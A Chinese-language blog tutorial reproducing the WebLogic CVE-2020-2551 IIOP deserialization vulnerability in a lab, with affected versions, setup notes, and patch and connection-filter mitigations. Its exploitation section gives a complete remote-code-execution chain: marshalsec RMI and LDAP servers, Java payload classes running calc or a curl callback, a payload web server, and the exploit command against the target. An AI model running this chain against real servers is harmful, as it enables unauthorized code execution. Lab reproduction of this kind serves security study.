Weblogic CVE-2020-2551 IIOP反序列化漏洞復現

前言

本教程及工具僅供技術學習交流、請勿用於非法行爲、否則後果自負

0x01 漏洞說明

2020年1月15日,Oracle官方發佈2020年1月關鍵補丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等級爲高危,CVVS評分爲9.8分,漏洞利用難度低。影響範圍爲10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。

從Oracle 官方的公告中看出該漏洞存在於Weblogic核心組件,影響的協議爲IIOP協議。該漏洞依然是由於調用遠程對象的實現存在缺陷,導致序列化對象可以任意構造,在使用之前未經安全檢查,導致惡意代碼被執行。通過分析,該漏洞的PoC構造與歷史漏洞CVE-2017-3241、CVE-2018-3191都有一些相似的地方,而後在構造PoC的時候也可以發現。

公佈的 POC 代碼只針對直連(內網)網絡有效,Docker、NAT 網絡全部無效。

0x02 影響版本:

  • weblogic 10.3.6
  • weblogic 12.1.3.0
  • weblogic 12.2.1.3.0
  • weblogic 12.2.1.4.0

0x03 Weblogic環境搭建

系統:windows server 2008 R2
weblogic 10.3.6.0
jdk6u29(weblogic自帶的)
ip:192.168.2.122

windows weblogic安裝筆記(別人的,自己懶得寫了,基本都是下一步下一步) https://blog.csdn.net/java_peak_zlf/article/details/84062513

自行官網下載
JDK安裝包下載

Weblogic安裝包下載地址

jdk環境配置不會的自行百度

0x04 漏洞利用

系統 windows10
JDK 1.8
ip:192.168.2.241

利用的exp爲:https://github.com/Y4er/CVE-2020-2551

先下好相關文件和所給的jar包

打包好的jar包 提取碼:a6ob

然後使用marshalsec起一個惡意的RMI服務

這邊提供編譯好的marshalsec 鏈接:https://pan.baidu.com/s/19Z8Rg6ySNKsILOgjfNlvpQ 提取碼:6eia

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.2.241/#exp" 1099

在這裏插入圖片描述
編輯一下src目錄下的exp.java
修改爲(這是windows的命令執行)

import java.io.IOException;

public class Poc {
	static{
		try {
			java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
	public static void main(String[] args) {
		
	}
}

如果需要linux的命令執行請修改爲:

import java.io.IOException;

public class Poc {
	static{
		try {
			java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","curl http://192.168.2.241/suss"});
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
	public static void main(String[] args) {
		
	}
}

然後編譯

javac exp.java -source 1.6 -target 1.6

編譯完可以直接用Python3在當前exp目錄起一個web服務

python3 -m http.server 80

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述

然後開始攻擊

java -jar weblogic_CVE_2020_2551.jar 192.168.2.122 7001 rmi://192.168.2.241:1099/exp

在這裏插入圖片描述

或者也可以起lpad服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.241/#exp

然後開始攻擊

java -jar weblogic_CVE_2020_2551.jar 192.168.2.122 7001 ldap://192.168.2.241:1389/exp

0x05 漏洞修復方案

1.使用 Oracle 官方安全補丁進行更新修復

Oracle Critical Patch Update Advisory – January 2020

2.如果不依賴T3協議進行JVM通信,用戶可通過控制T3協議的訪問來臨時阻斷針對該漏洞的攻擊。

Weblogic Server 提供了名爲weblogic.security.net.ConnectionFilterImpl 的默認連接篩選器,此連接篩選器接受所有傳入連接,可通過此連接篩選器配置規則,對t3及t3s協議進行訪問控制,詳細操作步驟如下:

  • 進入Weblogic控制檯,在base_domain的配置頁面中,進入“安全”選項卡頁面,點擊“篩選器”,進入連接篩選器配置;
  • 在連接篩選器中輸入:security.net.ConnectionFilterImpl,在連接篩選器規則中配置符合實際情況的規則;
  • 保存後若規則未生效,建議重新啓動Weblogic服務(重啓Weblogic服務會導致業務中斷,建議相關人員評估風險後,再進行操作)。

0x06 參考鏈接

1.https://www.r4v3zn.com/posts/51fa2b96/
2.https://y4er.com/post/weblogic-cve-2020-2551/
3.https://www.chaosec.com/?p=942

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章